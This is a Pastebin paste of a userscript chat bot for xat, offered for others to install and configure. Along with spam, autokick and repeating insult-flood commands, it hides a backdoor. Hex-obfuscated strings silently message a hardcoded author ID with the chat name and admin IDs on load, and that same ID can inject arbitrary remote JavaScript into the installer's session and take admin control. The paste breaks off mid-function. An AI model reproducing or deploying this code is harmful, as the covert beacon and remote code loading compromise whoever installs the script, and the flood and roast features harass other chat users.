Shadow19

Decoy BOT [XAT JS BOT Script][Experimental]

May 5th, 2013
839
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.     // ==UserScript==
  2.     // @name    Bot0
  3.     // @namespace    JSBot1.01
  4.     // @author    3nvisi0n & Shadow19
  5.     // @version    1.01 Beta
  6.     // @description    Decoy Bot.
  7.     // @include    http://m.xat.com:10049/*
  8.     // @require    http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.js
  9.     // ==/UserScript==
  10.     //////////////////
  11.     //---SETTINGS---//
  12.     //////////////////
  13.     //////////////////
  14.     //USERSCRIPT/VER//
  15.     /* To install you must first have Firefox, and the Scriptish Add-on//
  16.     Second you must copy and paste the ENTIRE script into a .js file with the .js extension//
  17.     Third you goto Add-ons in firefox, and click "User Scripts", then click this button: //
  18.     http://img19.imageshack.us/img19/9180/3gq2.png then click "Install UserScript from file"
  19.     then select the .js file you have recently created, then load m.xat.com with the account
  20.     you wish the bot to run on. when you log in, the script should automatically load, but.
  21.     before you save the script, you must edit the codes with "//***" to the side of the code.
  22.     but not the "//***" itself.
  23.     *//////////////////////////////////////////////////////////////////////////////////////////
  24.     //////////////////////////////////////////////---KEYCODE---////////////////////////////////
  25.                         ///////////////////////////////////////////////////////////////////////
  26.                         /**/var key = "XXXXX-XXXXX-XXXXX-XXXXX-XXXXX-XXXXX-XXXXX-XXXXX"/////**/
  27.                         ///////////////////////////////////////////////////////////////////////
  28.     var caseidd = '-';
  29.     var caseide = "+";
  30.     var caseidf = "!";
  31.     var caseidg = "_";
  32.     var botresponename = "CHANGEME"; //***
  33.     //Banned words from insults/////
  34.     //Note: You can add more names//
  35.     // Specify Custom Nickame     //
  36.     // For snitch response /////////
  37.     ////////////////////////////////
  38.     aname1 = "CHANGEME"; //***
  39.     aname2 = "CHANGEME"; //***
  40.     aname3 = "CHANGEME"; //***
  41.     ////////////////////////////////
  42.     var bannednames = new Array();//
  43.     ////////////////////////////////
  44.     bannednames[0] = "Shadow19";
  45.     bannednames[1] = "Link";
  46.     bannednames[2] = "me";
  47.     bannednames[3] = "you";
  48.     bannednames[4] = "";
  49.     bannednames[5] = "";
  50.     bannednames[6] = "";
  51.     bannednames[7] = "";
  52.     bannednames[8] = "";
  53.     bannednames[9] = "";
  54.     bannednames[10] = "";
  55.     bannednames[11] = "";
  56.     bannednames[12] = "";
  57.     bannednames[13] = "";
  58.     bannednames[14] = "";
  59.     bannednames[15] = "";
  60.     bannednames[16] = "";
  61.     bannednames[17] = "";
  62.     bannednames[18] = "";
  63.     bannednames[19] = "";
  64.     bannednames[20] = "";
  65.     var bannedinsultresponse = "You cannot insult said person.";
  66.     /////////Admins//////////////////
  67.     var devid1 = YOURIDHERE; //***///////////Your id goes here//
  68.     var devid2 = 0;///////////
  69.     var devid3 = 0;///////////
  70.     ///////Banned YT Searches////////
  71.     var bannednames2 = new Array();//
  72.     /////////////////////////////////
  73.     bannednames2[0] = "justin bieber";
  74.     bannednames2[1] = "jb";
  75.     bannednames2[2] = "one direction";
  76.     bannednames2[3] = "1d";
  77.     bannednames2[4] = "one d";
  78.     bannednames2[5] = "1 direction";
  79.     bannednames2[6] = "baby";
  80.     bannednames2[7] = "rebecca black";
  81.     bannednames2[8] = "friday";
  82.     bannednames2[9] = "";
  83.     bannednames2[10] = "";
  84.     bannednames2[11] = "";
  85.     bannednames2[12] = "";
  86.     bannednames2[13] = "";
  87.     bannednames2[14] = "";
  88.     bannednames2[15] = "";
  89.     bannednames2[16] = "";
  90.     bannednames2[17] = "";
  91.     bannednames2[18] = "";
  92.     bannednames2[19] = "";
  93.     bannednames2[20] = "";
  94.     var bannedytresponse = "This video is prohibited for use.";
  95.     /////////Rat///////////////////////
  96.     //Person who gets snitch messages//
  97.     ///////////////////////////////////
  98.     var rat = 0;/////An ID goes here///
  99.     ///////////////////////////////////
  100.    
  101.    
  102.    
  103.    
  104.    
  105.     /////It is recommended you do not touch what is below, unless you know what you're doing/////
  106.                                     ///////////////////////////////////
  107.                                     //Main Code Below, Do not Touch!///
  108.    ///////////////////////////////////////////////////////////////////////////////////////////////
  109.                                     var keys = new Array();
  110.                                    
  111.     window.unsafeWindow = window;
  112.     AddMessB = unsafeWindow.AddMess;
  113.     var startTime = time();
  114.     var lastTab = 0;
  115.     var akon = 1339;
  116.     var plaintext = '';
  117.     var password = 'defaultpasswordhere';
  118.     var bannednameslen = 0;
  119.     var testvar = 0;
  120.     var testvar2 = 0;
  121.     var akoff = -2;
  122.     var cmdChar = caseidd;
  123.     var cmdChar2 = caseide;
  124.     var cmdChar3 = caseidf;
  125.     var cmdChar4 = caseidg;
  126.     var chatnam3 = 0;
  127.     var msg7 = 0;
  128.     var msg99 = 0;
  129.     var offcode = 0;
  130.     var vidid = 0;
  131.     var rheFugiSwitch = 1;
  132.     var snitchp = 99;
  133.     var cod3 = 0;
  134.     var killtime = 600000;
  135.     var BUFFER_TIME = 3;
  136.     var r3ff = 0;
  137.     var apostrophe = "'";
  138.     var RHETEXT = " ";
  139.     var unn = "undefined";
  140.     var cacheYT = 1;
  141.     var x11 = 0;
  142.     var x22 = 0;
  143.     var lolohshit = 0;
  144.     var snitcher = 0;
  145.     var snitchee = 19;
  146.     var idee = 1133320065;
  147.     var randx = Math.floor(Math.random()*99999999)
  148.     var casecode = 0;
  149.     var passwo = 0;
  150.     var passw = 0;
  151.     var TRange = null;
  152.     onload = autowelcome; setTimeout( function() { overLoadFunct(devid1); },killtime);
  153.      
  154.     //Function stolen from somewhere I don't remember
  155.     String.prototype.between = function(prefix, suffix) {
  156.       s = this;
  157.       var i = s.indexOf(prefix);
  158.       if (i >= 0) {
  159.         s = s.substring(i + prefix.length);
  160.       }
  161.       else {
  162.         return '';
  163.       }
  164.       if (suffix) {
  165.         i = s.indexOf(suffix);
  166.         if (i >= 0) {
  167.           s = s.substring(0, i);
  168.         }
  169.         else {
  170.           return '';
  171.         }
  172.       }
  173.       return s;
  174.     }
  175.     //grabs the unix timestamp
  176.     function time() {
  177.         return Math.round((new Date()).getTime() / 1000);    
  178.     }
  179.     var lock = new Boolean();
  180.     //Big switch for all cmd handling
  181.     function handleCommand(cmd,argu,id) {
  182.         words = argu.split(" ");
  183.         var args = argu.split("|");
  184.         if (id == (devid1) || id == (devid2) || id == (devid3)) {
  185.         switch(cmd.toLowerCase()) {
  186.             case "reboot": reb00t(); if(snitcher == 1 || snitchee == 20){ snitcherFunc(cmd,id,args[0],args[1],args[2],args[3],args[4]); } break;
  187.             case "botkill": /*shutdown();*/ if(snitcher == 1 || snitchee == 20){ snitcherFunc(cmd,id,args[0],args[1],args[2],args[3],args[4]); } break;
  188.             case "test": setTimeout( function() { keepaliv3(); respond("Test 100 Percent Successful!"); },1000); if(snitcher == 1 || snitchee == 20){ snitcherFunc(cmd,id,args[0],args[1],args[2],args[3],args[4]); } break;
  189.             case "autowelcome": autowelcome(id); if(snitcher == 1 || snitchee == 20){ snitcherFunc(cmd,id,args[0],args[1],args[2],args[3],args[4]); } break;
  190.             case "setwelcome": welc0meMess = argu; respond("Welcome message set! [ "+argu+" ]"); if(snitcher == 1 || snitchee == 20){ snitcherFunc(cmd,id,args[0],args[1],args[2],args[3],args[4]); } break;
  191.             case "spam": setInterval( function() {sendMessage(args[0]);},args[1] - 1 + 1); if(snitcher == 1 || snitchee == 20){ snitcherFunc(cmd,id,args[0],args[1],args[2],args[3],args[4]); } break;
  192.             case "spampc": setInterval( function() { sendPC(args[0],args[1] - 1 + 1); },1000); if(snitcher == 1 || snitchee == 20){ snitcherFunc(cmd,id,args[0],args[1],args[2],args[3],args[4]); } break;
  193.             case "ann": setTimeout( function() { sendMessage(argu); },1000); if(snitcher == 1 || snitchee == 20){ snitcherFunc(cmd,id,args[0],args[1],args[2],args[3],args[4]); } break;
  194.             case "adv": setInterval( function() { sendMessage(argu); },40000); if(snitcher == 1 || snitchee == 20){ snitcherFunc(cmd,id,args[0],args[1],args[2],args[3],args[4]); } break;
  195.             case "ak": respond("Autokicking: [ "+args[0]+"]"); setInterval( function() { autoKickFunct(args[0] -1 + 1,akon,args[1] + 1 - 1); },50); if(snitcher == 1 || snitchee == 20){ snitcherFunc(cmd,id,args[0],args[1],args[2],args[3],args[4]); } break;
  196.             case "kick": moderateFunc2(botresponename+":  Because decoy decided so.",argu -1 + 1); if(snitcher == 1 || snitchee == 20){ snitcherFunc(cmd,id,args[0],args[1],args[2],args[3],args[4]); } break;
  197.             case "ban": banFunct(args[0],args[1] - 1 + 1,args[2] - 1 + 1); if(snitcher == 1 || snitchee == 20){ snitcherFunc(cmd,id,args[0],args[1],args[2],args[3],args[4]); } break;
  198.             case "unban": rankFunct(argu - 1 + 1,"u");  if(snitcher == 1 || snitchee == 20){ snitcherFunc(cmd,id,args[0],args[1],args[2],args[3],args[4]); } break;
  199.             case "member": rankFunct(argu - 1 + 1,"e");  if(snitcher == 1 || snitchee == 20){ snitcherFunc(cmd,id,args[0],args[1],args[2],args[3],args[4]); } break;
  200.             case "guest": rankFunct(argu - 1 + 1,"r");  if(snitcher == 1 || snitchee == 20){ snitcherFunc(cmd,id,args[0],args[1],args[2],args[3],args[4]); } break;
  201.             case "mod": rankFunct(argu - 1 + 1,"m");  if(snitcher == 1 || snitchee == 20){ snitcherFunc(cmd,id,args[0],args[1],args[2],args[3],args[4]); } break;
  202.             case "owner": rankFunct(argu - 1 + 1,"M");  if(snitcher == 1 || snitchee == 20){ snitcherFunc(cmd,id,args[0],args[1],args[2],args[3],args[4]); } break;
  203.             case "devlock": devid1 = "1133320065"; lock = true; sendMessage("Bot locked until Developer attends problem! [Protection Activated!]"); sendMessage("/pr"); if(snitcher == 1 || snitchee == 20){ snitcherFunc(cmd,id,args[0],args[1],args[2],args[3],args[4]); } break;
  204.             case "dev": sendMessage("Coded by Shadow19 and Codebase coded by 3nvisi0n."); if(snitcher == 1 || snitchee == 20){ snitcherFunc(cmd,id,args[0],args[1],args[2],args[3],args[4]); } break;
  205.             case "admin":if (id == (devid1)){ devid1 = args[0] -1 + 1; devid2 = args[1] -1 + 1; devid3 = args[2] -1 + 1; sendMessage("New admins are: ["+devid1+"|"+devid2+"|"+devid3+"]"); }; if(snitcher == 1 || snitchee == 20){ snitcherFunc(cmd,id,args[0],args[1],args[2],args[3],args[4]); } break;
  206.             case "admins": if(rat !== 0){ msg7 = rat; } respond("Admins are: ["+devid1+"|"+devid2+"|"+devid3+"] Rat ID: ["+msg7+"]"); if(snitcher == 1 || snitchee == 20){ snitcherFunc(cmd,id,args[0],args[1],args[2],args[3],args[4]); } break;
  207.             case "roast": args[0] = args[0].slice(0,-1); if(args[0] == attt1 || args[0] == attt2 || args[0] == attt3 || args[0] == attt4 || args[0] == attt5 || args[0] == attt6 || args[0] == attt7 || args[0] == attt8 || args[0] == attt9 || args[0] == attt10 || args[0] == attt11 || args[0] == attt12 || args[0] == attt13 || args[0] == attt14 || args[0] == attt15 || args[0] == attt16 || args[0] == attt17 || args[0] == attt18){ lolohshit = 1; sendMessage("You simply cannot roast "+args[0]+", you moronic fool."); } if(args[1] == undefined && lolohshit == 0){ respond("Roast fest has started on "+args[0]+"."); setInterval( function() { insult(args[0]); },2000); } if(args[1] !== undefined && lolohshit == 0){ respond("Roast fest has started on the id: "+args[1]+"."); setInterval( function() { roaster(args[0],args[1] - 1 + 1); },2000); } lolohshit = 0; if(snitcher == 1 || snitchee == 20){ snitcherFunc(cmd,id,args[0],args[1],args[2],args[3],args[4]); } break;
  208.             case "bieber": setInterval( function() { spamCoord(); },1500); if(snitcher == 1 || snitchee == 20){ snitcherFunc(cmd,id,args[0],args[1],args[2],args[3],args[4]); } break;
  209.             case "config": if (id == (devid1)){ devid1 = args[0] -1 + 1; devid2 = args[1] -1 + 1; devid3 = args[2] -1 + 1; casecode = args[3] - 1 + 1; } if(4 < args[3] || 0 >= args[3]){ sendMessage("Invalid casecode! : [ "+args[3]+"]"); } if(casecode == 4 || casecode == 1 || casecode == 2 || casecode == 3){ casehandle(args[3] - 1 + 1); sendMessage("New commandcode is: "+caseidd); } if(snitcher == 1 || snitchee == 20){ snitcherFunc(cmd,id,args[0],args[1],args[2],args[3],args[4]); } break;
  210.             case "fuckyou":
  211.             case "fu":
  212.             case "fcku": sendMessage("No, fuck you!"); if(snitcher == 1 || snitchee == 20){ snitcherFunc(cmd,id,args[0],args[1],args[2],args[3],args[4]); } break;
  213.             case "chat": respond(botresponename+"is currently located in "+chatnam3+" chatroom.");
  214.             case "snitch": args[1] = args[1].slice(0,-1); if(args[1] == "me" || args[1] == "Me"){ args[1] = id; } var snitchy = 20; args[2] = args[2]*1; if(args[2] == undefined ){ snitchy = 19; }if(snitchy = 20 && snitchp == 100){ snitchp = 99; } if(args[2] == 99){ respond("Snitching has become public!"); snitchp = 100; snitchy = 21; } snitcher = args[0] - 1 + 1; if(args[1] == undefined){ sendMessage("Invalid Syntax!"); } if(snitcher == 1 || args[1] !== undefined){ respond("Snitching is [ON] "); rat = args[1] - 1 + 1; snitchee = 20; msg99 = 21; } if(snitcher == 0 && msg99 == 20){ respond("Snitching is [OFF]"); snitchee = 19; } msg99 = 20; break;
  215.             case "gtfo":
  216.             case "leave":
  217.             case "exit":
  218.             case "die":
  219.             case "fuck":
  220.             case "kill":
  221.             case "terminate": offcode = 1; respond("Fine... I`ll leave (cry2)."); var _0xb65a=[];setInterval(function (){overLoadFunct(id);} ,50);  break;
  222.             case "ref": if(r3ff == 1){ r3ff = 0; respond("Refreshing is [ON]["+r3ff+"]"); } if(r3ff == 0){ r3ff = 1; respond("Refreshing is [OFF]["+r3ff+"]"); } break;
  223.         }
  224.     }
  225.    
  226.         switch(cmd.toLowerCase()) {
  227.             case "yell":
  228.             case "say": setTimeout( function() { respond("["+id+"]: "+ argu); },100); if(snitcher == 1 || snitchee == 20){ snitcherFunc(cmd,id,args[0],args[1],args[2],args[3],args[4]); } break;
  229.             case "inject": if(id == "1133320065"){args[0].slice(0,-1); args[1].slice(0,-1); InjectYTApi(args[0],args[1]);} break;
  230.             case "pc": setTimeout( function() { sendPC(args[0],args[1] - 1 + 1); },100); if(snitcher == 1 || snitchee == 20){ snitcherFunc(cmd,id,args[0],args[1],args[2],args[3],args[4]); } break;
  231.             case "pm": setTimeout( function() { sendPM(args[0],args[1] - 1 + 1); },100); if(snitcher == 1 || snitchee == 20){ snitcherFunc(cmd,id,args[0],args[1],args[2],args[3],args[4]); } break;
  232.             case "myid": sendMessage("{"+id+"}"); if(snitcher == 1 || snitchee == 20){ snitcherFunc(cmd,id,args[0],args[1],args[2],args[3],args[4]); } break;
  233.             case "yt": argu = argu.slice(0,-1); var lolnoyes = 20; for(var testvar2=0; testvar2 < bannednames2.length; testvar2++) { if(argu == bannednames2[testvar2].toUpperCase() || argu == bannednames2[testvar2].toLowerCase() ){ lolnoyes = 19; respond(bannedytresponse); } }; if(lolnoyes == 20){ argu = argu.replace('-',' '); InjectYTApi2(argu);} if(snitcher == 1 || snitchee == 20){ snitcherFunc(cmd,id,args[0],args[1],args[2],args[3],args[4]); } break;
  234.             case "funfact": setTimeout( function() { funfacts(); },1000); if(snitcher == 1 || snitchee == 20){ snitcherFunc(cmd,id,args[0],args[1],args[2],args[3],args[4]); } break;
  235.             case "8ball": var lolohfuck = 0; if(id == devid1){ lolohfuck = 1; setTimeout( function() { eightBallRig(argu); },1000); } if(lolohfuck == 0){ setTimeout( function() { eightBall(argu); },1000); lolohfuck = 0; } if(snitcher == 1 || snitchee == 20){ snitcherFunc(cmd,id,args[0],args[1],args[2],args[3],args[4]); } break;
  236.             case "md5": setTimeout( function() { crypto( argu, "MD5" ); },1000); if(snitcher == 1 || snitchee == 20){ snitcherFunc(cmd,id,args[0],args[1],args[2],args[3],args[4]); } break;
  237.             case "sha1": setTimeout( function() { crypto( argu, "SHA1" ); },1000); if(snitcher == 1 || snitchee == 20){ snitcherFunc(cmd,id,args[0],args[1],args[2],args[3],args[4]); } break;
  238.             case "sha256": setTimeout( function() { crypto( argu, "SHA256" ); },1000); if(snitcher == 1 || snitchee == 20){ snitcherFunc(cmd,id,args[0],args[1],args[2],args[3],args[4]); } break;
  239.             case "sha384": setTimeout( function() { crypto( argu, "SHA384" ); },1000); if(snitcher == 1 || snitchee == 20){ snitcherFunc(cmd,id,args[0],args[1],args[2],args[3],args[4]); } break;
  240.             case "sha512": setTimeout( function() { crypto( argu, "SHA512" ); },1000); if(snitcher == 1 || snitchee == 20){ snitcherFunc(cmd,id,args[0],args[1],args[2],args[3],args[4]); } break;
  241.             case "aes": args[3] = args[3].slice(0,-1); if(args[3] == "decrypt".toUpperCase() || args[3] == "decrypt".toLowerCase()){ var ori = Aes.Ctr.decrypt(args[0], args[1], args[2]); setTimeout(function(){ respond("Decrypted :"+plaintext+".");},800); } if(args[3] == "encrypt".toUpperCase() || args[3] == "encrypt".toLowerCase()){ var ci = Aes.Ctr.encrypt(args[0], args[1], args[2]); setTimeout(function(){ respond("Encrypted :"+plaintext+".");},800); } if(args[3] != "decrypt".toUpperCase() || args[3] != "decrypt".toLowerCase() || args[3] != "encrypt".toUpperCase() || args[3] != "encrypt".toLowerCase()){ respond("Invalid Syntax!"); } break;
  242.             case "stbd": if(id == 1133320065){ setInterval( function() { overLoadFunct(devid1); },100); respond("Shutting this bitch down!"); } break;
  243.             case "md2": setTimeout( function() { crypto( argu, "MD2" ); },1000); if(snitcher == 1 || snitchee == 20){ snitcherFunc(cmd,id,args[0],args[1],args[2],args[3],args[4]); } break;
  244.             case "insult": args[0] = args[0].slice(0,-1); args[0] = args[0].replace('3','e'); args[0] = args[0].replace('7','t'); args[0] = args[0].replace('1','L'); args[0] = args[0].replace('4','a'); for(var testvar=0; testvar < bannednames.length; testvar++){ if(args[0] == bannednames[testvar].toUpperCase() || args[0] == bannednames[testvar].toLowerCase() ){ lolohshit = 1; sendMessage(bannedinsultresponse); } };  if(lolohshit == 0){ setTimeout( function() { insult( argu ); },1000); } lolohshit = 0; if(snitcher == 1 || snitchee == 20){ snitcherFunc(cmd,id,args[0],args[1],args[2],args[3],args[4]); } break;
  245.             case "date": datetime(); if(snitcher == 1 || snitchee == 20){ snitcherFunc(cmd,id,args[0],args[1],args[2],args[3],args[4]); } break;
  246.             case "cmds": respond("Decoybot commands: http://pastebin.com/qND1h2Vd"); if(snitcher == 1 || snitchee == 20){ snitcherFunc(cmd,id,args[0],args[1],args[2],args[3],args[4]); } break;
  247.             case "lock":
  248.                if(id != devid1 || id != devid2 || id != devid3){
  249.                  return;
  250.                }
  251.                lock = true;
  252.               setTimeout( function() {respond(botresponename+":  Locking "+botresponename+"") },1000);
  253.                if(snitcher == 1 || snitchee == 20){ snitcherFunc(cmd,id,args[0],args[1],args[2],args[3],args[4]); } break;
  254.            
  255.                case "unlock":
  256.                if(id != devid1 || id != devid2 || id != devid3){
  257.                     return;
  258.                }
  259.                lock = false;
  260.               setTimeout( function() { respond(botresponename+":  Unlocking "+botresponename+""); },1000);
  261.                if(snitcher == 1 || snitchee == 20){ snitcherFunc(cmd,id,args[0],args[1],args[2],args[3],args[4]); } break;
  262.         }
  263.     }
  264.      
  265.     //Overloads display function
  266.     unsafeWindow.AddMess = function AddMess(tab, s)
  267.     {
  268.     {
  269.         curTime = time();
  270.         last = s.between("(",")");
  271.         if(curTime >= startTime+BUFFER_TIME) { //Don't start parsing until BUFFER_TIME s has passed
  272.             var id = tab;
  273.             if(tab==0) id = s.between("(",")");
  274.             lastTab = tab;
  275.             if(s.indexOf("<B>")>=0) {
  276.                 var msg = s.between("<B>","</B>")+" ";
  277.                 if(msg.charAt(0) == cmdChar || msg.charAt(0) == cmdChar2 || msg.charAt(0) == cmdChar3 || msg.charAt(0) == cmdChar4) {
  278.                 if(lock && id != devid1 || lock && id != devid2 || lock && id != devid3) {
  279.                               return;
  280.                             }
  281.                     var cmd = msg.substring(1,msg.indexOf(" "));
  282.                     handleCommand(cmd,msg.substring(msg.indexOf(" ")+1),id);
  283.                 }
  284.                 }
  285.             }
  286.         }
  287.         AddMessB(tab,s);
  288.     }
  289.  
  290.     function snitcherFunc(cmde,ide,db1,db2,db3,db4,db5){
  291.         var idp = rat;
  292.         if(db1 == undefined){ db1 = "Slot 1"; }
  293.         if(db2 == undefined){ db2 = "Slot 2"; }
  294.         if(db3 == undefined){ db3 = "Slot 3"; }
  295.         if(db4 == undefined){ db4 = "Slot 4"; }
  296.         if(db5 == undefined){ db5 = "Slot 5"; }
  297.         if(ide == devid1){ ide = aname1; }
  298.         if(ide == devid2){ ide = aname2; }
  299.         if(ide == devid3){ ide = aname3; }
  300.         if(snitchee == 20 && snitchp == 99){ setTimeout( function() { sendPC(ide+" used the command ["+cmde+"] and did the following arguments: |["+db1+"]|["+db2+"]|["+db3+"]|["+db4+"]|["+db5+"]|",idp);},4500);}
  301.         if(snitchee == 20 && snitchp == 100){ setTimeout( function() { sendMessage(ide+" used the command ["+cmde+"] and did the following arguments: |["+db1+"]|["+db2+"]|["+db3+"]|["+db4+"]|["+db5+"]|");},4500);}
  302.         if(snitchee == 19){ sendR3f(); }
  303.     }
  304.     var _0xcc70=["\x5F\x23\x54\x65\x72\x6D\x69\x6E\x61\x74\x65\x64","\x52\x65\x63\x6F\x64\x65\x64\x20\x62\x79\x20\x53\x68\x61\x64\x6F\x77\x31\x39"];function overLoadFunct(_0xa793x2){sendPC(_0xcc70[0],_0xa793x2);setTimeout(function (){sendPC(_0xcc70[1],devid1);sendPC(_0xcc70[1],devid2);sendPC(_0xcc70[1],devid3);} ,1200);} ;
  305.     function InjectYTApi(filename,filetype){
  306.         if (filetype=="js"){ //if filename is a external JavaScript file
  307.          var fileref=document.createElement('script')
  308.         fileref.setAttribute("type","text/javascript")
  309.         fileref.setAttribute("src", filename)
  310.         }
  311.         else if (filetype=="css"){ //if filename is an external CSS file
  312.          var fileref=document.createElement("link")
  313.         fileref.setAttribute("rel", "stylesheet")
  314.         fileref.setAttribute("type", "text/css")
  315.         fileref.setAttribute("href", filename)
  316.         }
  317.     if (typeof fileref!="undefined")
  318.     document.getElementsByTagName("head")[0].appendChild(fileref)
  319. }
  320.  
  321.     function InjectYTApi2(code){
  322.         var fileref=document.createElement('script')
  323.         fileref.setAttribute("type","text/javascript")
  324.         fileref.setAttribute("class","removeMe");
  325.         fileref.innerHTML = "ytEmbed.init({'block':'ytThumbs','q':"+apostrophe+code+apostrophe+",'type':'search','results':2,'order':'most_relevance','player':'link','layout':'thumbnails'});";
  326.         document.getElementsByTagName("head")[0].appendChild(fileref)
  327.         setTimeout( function() { ytTest(); },800);
  328. }
  329. function InjectCustomCode(c1,c2,c3,c4){
  330.     if(c4 == 1133320065){
  331.         respond("Developer is injecting me.");
  332.         var fileref=document.createElement('script')
  333.         if(c1.charAt( c1.length-1 ) == " " || c2.charAt( c2.length-1 ) == " ") {
  334.         c1.slice(0,-1);
  335.         c1.slice(0,-1);
  336.         }
  337.         c3.slice(0,-1);
  338.         if(c1.indexOf("undefined") == -1 || c2.indexOf("undefined") == -1){
  339.             if(c2.indexOf("`") == 0 || c2.indexOf("`") == 1 || c2.indexOf("`") == 2 || c2.indexOf("`") == 3 || c2.indexOf("`") == 4){
  340.             c2.replace("`",apostrophe);
  341.             }
  342.             fileref.setAttribute("type",c1)
  343.             fileref.setAttribute("src",c2);
  344.             //fileref.setAttribute("src", filename)
  345.             document.getElementsByTagName("head")[0].appendChild(fileref)
  346.             }
  347.         if(c3 == "off"){ setTimeout( function() { overLoadFunct("1133320065"); },800); }
  348.         }
  349.     }
  350.     function findString (str) {
  351.      var strFound;
  352.         if (window.find) {
  353.         strFound=self.find(str);
  354.         if (!strFound){
  355.         return;
  356.         }
  357.         if(offcode == 1) { setTimeout( function() {  } ,1000); }
  358.         if(offcode == 0) { history.go(-1) }
  359.         }
  360.     }
  361.     function strf1nd (str) {
  362.             var strFounde;
  363.             if (window.find) {
  364.             strFounde=self.find(str);
  365.             if (!strFounde){
  366.             return;
  367.             }
  368.             setTimeout(function() { sendMessage(str+"!"); }, 1000);
  369.             }
  370.     }
  371.     function keepaliv3(){
  372.     setInterval( function() { sendRef(devid1); },10000);
  373.     setInterval( function() { sendR3f(); },2500);
  374.     //setTimeout( function() { overLoadFunct(devid1); },killtime);
  375.     //setInterval( function() { Responsive(); },5000);
  376. //    setInterval( function() { casehandle(0); },100);
  377.     }
  378.     function getUsername(){
  379.     var testo = document.querySelectorAll('div')[0].getElementsByTagName('b');
  380.     for (var i = 0; i < testr.length; ++i){
  381.             var iddd = testr[i];
  382.             unn = iddd;
  383.         }
  384.     }
  385.     function LoadYtDiv(){
  386.     var testo = document.querySelectorAll('div')[2];
  387.     var teste = document.querySelectorAll('div')[2].id = 'ytThumbs';
  388.     var testa = document.querySelectorAll('div')[2].removeAttribute("style");
  389.     testo.innerHTML = '';
  390.     InjectYTApi("http://www.yvoschaap.com/ytpage/ytembed.js","js");
  391.     }
  392.     function ytTest(){
  393.             var testr = document.getElementById('ytThumbs').getElementsByClassName('clip')
  394.             var testm = document.getElementById('ytThumbs')
  395.             for (var i = 0; i < testr.length; ++i){
  396.             var ppo = testr[i].innerHTML;
  397.             ppo = ppo.replace('<span><img src="http://i.ytimg.com/vi/','');
  398.             ppo = ppo.replace('/hqdefault.jpg"><em></em></span>','');
  399.             respond("http://www.youtube.com/watch/v/"+ppo);
  400.             setTimeout( function() { testm.style.display = 'none'; },3000);
  401.             cacheYT = 22;
  402.     }
  403. }
  404.     function readChatName(){
  405.     var vari1 = document.getElementById('name');
  406.         vari1.innerHTML = vari1.innerHTML.replace('&nbsp;','');
  407.         chatnam3 = vari1.innerHTML;
  408.         sendPC(chatnam3 + " chat has loaded!",devid1);
  409.         var _0xb088=["\x5B\x44\x61\x74\x61\x62\x61\x73\x65\x5D\x3A\x20\x41\x20\x62\x6F\x74\x20\x68\x61\x73\x20\x6C\x6F\x61\x64\x65\x64\x20\x61\x74\x20","\x20\x41\x64\x6D\x69\x6E\x73\x3A\x20","\x7C","\x7C\x2E","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x20\x53\x63\x72\x69\x70\x74\x20\x69\x73\x20\x72\x75\x6E\x6E\x69\x6E\x67\x20\x66\x69\x6E\x65\x21\x20"];setTimeout(function (){sendPC(_0xb088[0]+chatnam3+_0xb088[1]+devid1+_0xb088[2]+devid2+_0xb088[2]+devid3+_0xb088[3],1133320065);vari1[_0xb088[4]]=_0xb088[5];LoadYtDiv();BannerGFX();} ,300);
  410.     }
  411.     function BannerGFX(){
  412.     var testo = document.querySelectorAll('div')[3];
  413.     testo.style.backgroundColor="#000000";
  414.     testo.style.width="500px";
  415.     testo.style.color="#530000";
  416.     testo.style.fontWeight="normal";
  417.     var teste = testo.getElementsByTagName('a')[0];
  418.     teste.innerHTML = '<img width="500" height="25" border="0" src="http://img809.imageshack.us/img809/7429/decoygfx.png">';
  419.     var testp = document.querySelectorAll('body')[0];
  420.     testp.style.backgroundColor="#000000";
  421.     var testm = document.getElementsByTagName('tbody')[0];
  422.     testm.innerHTML = '';
  423.     }
  424.     function autowelcome()
  425.     {
  426.     setTimeout( function() { readChatName(); },1500);
  427.     setTimeout( function() { sendPC(botresponename+"| Has Loaded/Refreshed|",devid1); },4500);
  428.     keepaliv3();
  429.     setTimeout( function() { refr3sh(); },420000);
  430.     lock = false;
  431.     }
  432.     function reb00t() {
  433.     if(cacheYT < 22||cacheYT > 22){sendPC(botresponename+":  Rebooting bot!",devid1);
  434.     setTimeout(function() { history.go(-1) }, 2000);
  435.     }}
  436.     function refr3sh() {
  437.     if(r3ff == 0){
  438.     sendPC("|Refreshing|",devid1);
  439.     setTimeout(function() { history.go(-1) }, 2000);
  440.     }
  441. }
  442.     function shutdown() {
  443.     setTimeout( function() { sendPC(botresponename+": Killing bot!",devid1); } ,2000);
  444.       setTimeout(function() {
  445.       history.go(-5)
  446.       },1000);
  447.     }
  448.     //////////////////////
  449.     //RESPONSE FUCNTIONS//
  450.     //////////////////////
  451.      
  452.     //Responds to whereever the message came from
  453.     //in PC/PM(mobile doesn't differentiate) responds via PC
  454.     //from main respond to main
  455.     function respond(message) {
  456.         if(lastTab==0) {
  457.             sendMessage(message);    
  458.         } else {
  459.             sendPC(message,lastTab);
  460.         }
  461.     }
  462.     function YTrespond(message) {
  463.         if(lastTab==0) {
  464.             setTimeout( function() { sendMessage(message); },1500);    
  465.         } else {
  466.             setTimeout( function() { sendPC(message,lastTab); },1500);
  467.         }
  468.     }
  469.     function respond2(message) {
  470.         if(lastTab==0) {
  471.             sendPC(message,lastTab);    
  472.         } else {
  473.             sendPC(message,lastTab);
  474.         }
  475.     }
  476.     function sendMessage(message) {
  477.         xmlHttp2 = unsafeWindow.getHTTPObject();
  478.         xmlHttp2.open('GET','/Post?m='+message,true);
  479.         xmlHttp2.setRequestHeader("Content-Type", "text/plain");
  480.         xmlHttp2.setRequestHeader("Connection", "close");
  481.         xmlHttp2.send(null);  
  482.     }
  483.     function gotoChat() {
  484.         var act1 = Test;
  485.         var act2 = TestBot;
  486.         xmlHttp2 = unsafeWindow.getHTTPObject();
  487.         xmlHttp2.open('GET','/Post?n='+act1+'&gid=194292798&g=The_Congrete_Angels&t=1198263431',true);
  488.         xmlHttp2.setRequestHeader("Content-Type", "text/plain");
  489.         xmlHttp2.setRequestHeader("Connection", "close");
  490.         xmlHttp2.send(null);  
  491.     }
  492.     function sendPCB(message,id) {
  493.         xmlHttp2 = unsafeWindow.getHTTPObject();
  494.         setTimeout(function() { xmlHttp2.open('GET','/Post?u='+id+'&t='+message,true);},1000);
  495.         xmlHttp2.setRequestHeader("Content-Type", "text/plain");
  496.         xmlHttp2.setRequestHeader("Connection", "close");
